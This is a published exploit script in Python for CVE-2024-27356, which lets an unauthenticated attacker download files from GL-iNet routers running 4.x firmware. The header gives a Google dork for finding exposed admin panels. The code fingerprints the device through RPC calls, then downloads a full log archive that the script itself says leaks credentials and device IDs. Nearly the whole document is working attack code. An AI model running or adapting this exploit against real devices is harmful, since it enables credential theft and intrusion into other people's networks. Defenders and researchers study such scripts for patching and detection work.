GL-iNet MT6000 4.5.5 Arbitrary File Download

`# Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download  
# CVE: CVE-2024-27356  
# Google Dork: intitle:"GL.iNet Admin Panel"  
# Date: 2/26/2024  
# Exploit Author: Bandar Alharbi (aggressor)  
# Vendor Homepage: www.gl-inet.com  
# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0123-1705996441.bin  
# Tested Model: GL-X3000 Spitz AX  
# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.md  
  
import sys  
import requests  
import json  
requests.packages.urllib3.disable_warnings()  
h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}  
  
def DoesTarExist():  
r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)  
if r.status_code == 200:  
f = open("logread.tar", "wb")  
f.write(r.content)  
f.close()  
print("[*] Full logs archive `logread.tar` has been downloaded!")  
print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")  
return True  
else:  
print("[*] The `logread.tar` archive does not exist however ... try again later!")  
return False  
  
def isVulnerable():  
r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)  
if r1.status_code == 500 and "nginx" in r1.text:  
r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)  
if "Admin-Token" in r2.text:  
j = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}  
r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)  
ver = r3.json()['result']['firmware_version']  
model = r3.json()['result']['model']  
if ver.startswith(('4.')):  
print("[*] Firmware version (%s) is vulnerable!" %ver)  
print("[*] Device model is: %s" %model)  
return True  
print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")  
return False  
  
def isAlive():  
try:  
r = requests.get(url, verify=False, timeout=30, headers=h)  
if r.status_code != 200:  
print("[*] Make sure the target's web interface is accessible!")  
return False  
elif r.status_code == 200:  
print("[*] The target is reachable!")  
return True  
except Exception:  
print("[*] Error occurred when connecting to the target!")  
pass  
return False  
  
if __name__ == '__main__':  
if len(sys.argv) != 2:  
print("exploit.py url")  
sys.exit(0)  
url = sys.argv[1]  
url = url.lower()  
if not url.startswith(('http://', 'https://')):  
print("[*] Invalid url format! It should be http[s]://<domain or ip>")  
sys.exit(0)  
if url.endswith("/"):  
url = url.rstrip("/")  
  
print("[*] GL.iNet Unauthenticated Full Logs Downloader")  
  
try:  
if (isAlive() and isVulnerable()) == (True and True):  
DoesTarExist()  
except KeyboardInterrupt:  
print("[*] The exploit has been stopped by the user!")  
sys.exit(0)  
  
  
`